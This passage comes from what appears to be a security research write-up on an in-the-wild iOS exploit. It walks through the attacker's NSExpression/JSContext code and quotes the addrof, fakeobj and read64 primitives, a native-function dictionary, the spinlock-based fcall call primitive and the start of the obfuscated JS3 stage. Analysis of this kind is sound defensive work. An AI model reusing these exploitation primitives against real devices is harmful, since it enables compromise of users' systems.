<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id v_JSContext = [[JSContext alloc] init];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_JSContext evaluateScript:@"function hex(b){return(\"0\"+b.toString(16)).substr(-2)}function hexlify(bytes){var res=[];for(var i=0..." ];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The exploit evaluates three separate scripts inside this same context:</span></p><h3 class="YrefKOOkxY-c6" id="h.8ucd3c8u8uvg"><span>JS 1</span></h3>
<p class="YrefKOOkxY-c2"><span>The first script defines a large set of utility types and functions common to many JS engine exploits. For example it defines a </span><span class="YrefKOOkxY-c3">Struct</span><span class="YrefKOOkxY-c5"> type:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">const Struct = function() {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var buffer = new ArrayBuffer(8);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var byteView = new Uint8Array(buffer);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var uint32View = new Uint32Array(buffer);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var float64View = new Float64Array(buffer);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pack: function(type, value) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var view = type;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> view[0] = value;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> },</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unpack: function(type, bytes) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray");</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var view = type;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> byteView.set(bytes);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return view[0]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> },</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int8: byteView,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int32: uint32View,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> float64: float64View</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}();</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The majority of the code is defining a custom fully-featured </span><span class="YrefKOOkxY-c3">Int64</span><span class="YrefKOOkxY-c5"> type.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>At the end they define two </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="http://www.phrack.org/issues/70/3.html#article">very useful helper functions</a></span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function addrof(obj) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> addrof_obj_ary[0] = obj;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var addr = Int64.fromDouble(addrof_float_ary[0]);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> addrof_obj_ary[0] = null;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return addr</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function fakeobj(addr) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> addrof_float_ary[0] = addr.asDouble();</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var fake = addrof_obj_ary[0];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> addrof_obj_ary[0] = null;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return fake</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>as well as a </span><span class="YrefKOOkxY-c3">read64()</span><span class="YrefKOOkxY-c5"> primitive:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function read64(addr) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read64_float_ary[0] = addr.asDouble();</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var tmp = "";</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> for (var it = 0; it < 4; it++) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> tmp = ("000" + read64_str.charCodeAt(it).toString(16)).slice(-4) + tmp</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var ret = new Int64("0x" + tmp);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return ret</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Of course, these primitives don't actually work - they are the standard primitives which would usually be built from a JS engine vulnerability like a JIT compiler bug, but there's no vulnerability being exploited here. Instead, after this script has been evaluated the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> uses the </span><span class="YrefKOOkxY-c3">[JSContext objectForKeyedSubscript]</span><span> method to look up the global objects used by those primitives and directly corrupt the underlying objects like the arrays used by </span><span class="YrefKOOkxY-c3">addrof</span><span> and </span><span class="YrefKOOkxY-c3">fakeobj</span><span class="YrefKOOkxY-c5"> such that they work.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This sets the stage for the second of the three scripts to run:</span></p><h3 class="YrefKOOkxY-c6" id="h.jrc2eq3979h4"><span class="YrefKOOkxY-c10">JS 2</span></h3>
<p class="YrefKOOkxY-c2"><span>JS2 uses the corrupted </span><span class="YrefKOOkxY-c3">addrof_*</span><span> arrays to build a </span><span class="YrefKOOkxY-c3">write64</span><span class="YrefKOOkxY-c5"> primitive then declares the following dictionary:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var all_function = {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> syscall: 0n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_task_self: 1n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> task_get_special_port: 2n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_port_allocate: 3n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sleep: 4n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_absolute_time: 5n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_msg: 6n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_msg2_trap: 7n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_msg_send: 8n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_msg_receive: 9n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_make_memory_entry: 10n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_port_type: 11n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOMainPort: 12n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOServiceMatching: 13n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOServiceGetMatchingService: 14n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOServiceOpen: 15n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOConnectCallMethod: 16n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> open: 17n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sprintf: 18n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> printf: 19n</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">};</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>These match up perfectly with the first 20 symbols which the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> looked up via </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>For each of those symbols they define a JS wrapper, like for example this one for </span><span class="YrefKOOkxY-c3">task_get_special_port</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function task_get_special_port(task, which_port, special_port) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return fcall(all_function["task_get_special_port"], task, which_port, special_port)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They declare two </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span>s, one named </span><span class="YrefKOOkxY-c3">lock</span><span> and one named </span><span class="YrefKOOkxY-c3">func_buffer</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var lock = new Uint8Array(32);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var func_buffer = new BigUint64Array(24);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They use the </span><span class="YrefKOOkxY-c3">read64</span><span> primitive to store the address of those buffers into two more variables, then set the first byte of the lock buffer to </span><span class="YrefKOOkxY-c3">1</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var lock_addr = read64(addrof(lock).add(16)).noPAC().asDouble();</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var func_buffer_addr = read64(addrof(func_buffer).add(16)).noPAC().asDouble();</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">lock[0] = 1;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They then define the </span><span class="YrefKOOkxY-c3">fcall</span><span class="YrefKOOkxY-c5"> function which the JS wrappers use to call the native symbols:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">fcall(func_idx,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> x0 = 0x34343434n, x1 = 1n, x2 = 2n, x3 = 3n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> x4 = 4n, x5 = 5n, x6 = 6n, x7 = 7n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> varargs = [0x414141410000n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x515151510000n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x616161610000n,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x818181810000n])</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x0 !== "bigint") x0 = BigInt(x0.toString());</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x1 !== "bigint") x1 = BigInt(x1.toString());</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x2 !== "bigint") x2 = BigInt(x2.toString());</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x3 !== "bigint") x3 = BigInt(x3.toString());</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x4 !== "bigint") x4 = BigInt(x4.toString());</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x5 !== "bigint") x5 = BigInt(x5.toString());</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x6 !== "bigint") x6 = BigInt(x6.toString());</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x7 !== "bigint") x7 = BigInt(x7.toString());</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let sanitised_varargs =</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> varargs.map(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (x => typeof x !== "bigint" ? BigInt(x.toString()) : x));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[0] = func_idx;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[1] = x0;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[2] = x1;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[3] = x2;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[4] = x3;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[5] = x4;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[6] = x5;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[7] = x6;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[8] = x7;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sanitised_varargs.forEach(((x, i) => {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[i + 9] = x</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> lock[0] = 0;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> lock[4] = 0;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> while (lock[4] != 1);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return new Int64("0x" + func_buffer[0].toString(16))</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>This coerces each argument to a </span><span class="YrefKOOkxY-c3">BigInt</span><span> then fills the </span><span class="YrefKOOkxY-c3">func_buffer</span><span> first with the index of the function to call then each argument in turn. It clears two bytes in the </span><span class="YrefKOOkxY-c3">lock</span><span> </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span> then waits for one of them to become </span><span class="YrefKOOkxY-c3">1</span><span class="YrefKOOkxY-c5"> before reading the return value, effectively implementing a spinlock.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>JS 2 doesn't call </span><span class="YrefKOOkxY-c3">fcall</span><span> though. We now return back to the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> to analyse what must be the other side of that </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span class="YrefKOOkxY-c5"> "shared memory" function call primitive.</span></p><h3 class="YrefKOOkxY-c6" id="h.46gpycgmddeo"><span class="YrefKOOkxY-c10">In the background</span></h3>
<p class="YrefKOOkxY-c2"><span>Once JS 2 has been evaluated the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> again uses the </span><span class="YrefKOOkxY-c3">[JSContext objectForKeyedSubscript:]</span><span> method to read the </span><span class="YrefKOOkxY-c3">lock_addr</span><span> and </span><span class="YrefKOOkxY-c3">func_buffer_addr</span><span class="YrefKOOkxY-c5"> variables.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>It then creates another </span><span class="YrefKOOkxY-c3">NSInvocation</span><span> but this time instead of using the double invocation trick it sets the target of the </span><span class="YrefKOOkxY-c3">NSInvocation</span><span> to an </span><span class="YrefKOOkxY-c3">NSExpression</span><span>; sets the </span><span class="YrefKOOkxY-c3">selector</span><span> to </span><span class="YrefKOOkxY-c3">expressionValueWithObject:</span><span> and the second argument to the context dictionary which contains the variables defined in the </span><span class="YrefKOOkxY-c3">NSExpression</span><span>. They then call </span><span class="YrefKOOkxY-c3">performSelectorInBackground:sel(invoke)</span><span class="YrefKOOkxY-c5">, causing part of the serialized object to be evaluated in a different thread. It's that background code which we'll look at now:</span></p><h3 class="YrefKOOkxY-c6" id="h.97aiah9apgqr"><span class="YrefKOOkxY-c10">Loopy landscapes</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">s aren't great for building loop primitives. We already saw that the loop to traverse the linked-list of pthreads was just unrolled 100 times. This time around they want to create an infinite loop, which can't just be unrolled! Instead they use the following construct:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl5e89bmNK8v8WM2cl1eMnnyfNhq-TYvPsWCPIjpLsaWckLRv_SC288D5g0_pJCuhfAlkAiiYUdr8xnUgr1StYkDy2UjkDPVhFgsYaNvVI4BawF6aSnNCqNIYHXOKMv98NlyYZ0iXOSnR9MINhZwl34wg7qWJuHoRLPtVh59Ggr6k3ehTsdhyLd81TeFQ/s608/image12.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl5e89bmNK8v8WM2cl1eMnnyfNhq-TYvPsWCPIjpLsaWckLRv_SC288D5g0_pJCuhfAlkAiiYUdr8xnUgr1StYkDy2UjkDPVhFgsYaNvVI4BawF6aSnNCqNIYHXOKMv98NlyYZ0iXOSnR9MINhZwl34wg7qWJuHoRLPtVh59Ggr6k3ehTsdhyLd81TeFQ/s608/image12.png" border="0" alt="Diagram showing a NSNull alloc node with two arguments, both of which point to the same child node" style="max-height: 750px; max-width: 600px;"title="Diagram showing a NSNull alloc node with two arguments, both of which point to the same child node" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">They build a tree where each sub-level is evaluated twice by having two arguments which both point to the same expression. Right at the bottom of this tree we find the actual loop body. There are 33 of these doubling-nodes meaning the loop body will be evaluated 2^33 times, effectively a while(1) loop.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Let's look at the body of this loop:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_OSSpinLockLockInvocationInstance</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> setTarget:[v_functions_listener_lock longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_OSSpinLockLockInvocationInstance</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> setSelector:[@0x43434343 longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_OSSpinLockLockInvocationInstanceIMP</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> setTarget:v_OSSpinLockLockInvocationInstance ];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_OSSpinLockLockInvocationInstanceIMP invoke];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">v_functions_listener_lock</span><span> is the address of the backing buffer of the </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span> containing the "spinlock" which the JS unlock after writing all the function call parameters into the </span><span class="YrefKOOkxY-c3">func_buffer</span><span> </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span>. This calls </span><span class="YrefKOOkxY-c3">OSSpinLockLock</span><span class="YrefKOOkxY-c5"> to lock that lock.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">NSExpression</span><span> reads the function index from the </span><span class="YrefKOOkxY-c3">func_buffer</span><span> </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span> backing buffer then reads 19 argument slots, writing each 64-bit value into the corresponding slot (target, selector, arguments) of an </span><span class="YrefKOOkxY-c3">NSInvocation</span><span>. They then convert the function index into a string and call </span><span class="YrefKOOkxY-c3">valueForKey</span><span> on the context dictionary which stores all the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> variables to find the variable with the provided numeric string name (recall that they defined a variable called '</span><span class="YrefKOOkxY-c3">0</span><span>' storing a PACIZA'ed pointer to "</span><span class="YrefKOOkxY-c3">syscall</span><span class="YrefKOOkxY-c5">".)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They use the double invocation trick to call the target function then extract the return value from the NSInvocation and write it into the </span><span class="YrefKOOkxY-c3">func_buffer</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_serializedInvName getReturnValue:[set_msb(v_functions_listener_buffer) longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Finally, the loop body ends with an arbitrary write to unlock the spinlock, allowing the JS which was spinning to continue and read the function call result from the </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Then back in the main </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5"> thread it evaluates one final piece of JS in the same JSContext:</span></p><h3 class="YrefKOOkxY-c6" id="h.aravay40znc5"><span class="YrefKOOkxY-c10">JS3</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Unlike JS1 and 2 and the NSExpression, JS 3 is stripped and partially obfuscated, though with some analysis most of the names can be recovered. For example, the script starts by defining a number of constants - these in fact come from a number of system headers and the values appear in exactly the same order as the system headers:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p><a id="t.7c71818b2495e9fb1df627b11c4b09d054d8086d"></a><a id="t.2"></a><table class="YrefKOOkxY-c25"><tr class="YrefKOOkxY-c19"><td class="YrefKOOkxY-c23" colspan="1" rowspan="1">
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const z = 16;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const u = 17;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const m = 18;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const x = 19;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const f = 20;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const v = 21;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const b = 22;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const p = 24;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const l = 25;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const w = 26;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const y = 0;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const B = 1;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const I = 2;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const F = 3;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const U = 4;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const k = 2147483648;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const C = 1;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const N = 2;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const S = 4;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const T = 0x200000000n;</span></p>
<p class="YrefKOOkxY-c11 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c11 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p></td><td class="YrefKOOkxY-c24" colspan="1" rowspan="1">
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_MOVE_RECEIVE = 16;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_MOVE_SEND = 17;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_MOVE_SEND_ONCE = 18;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_COPY_SEND = 19;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_MAKE_SEND = 20;</span></p>
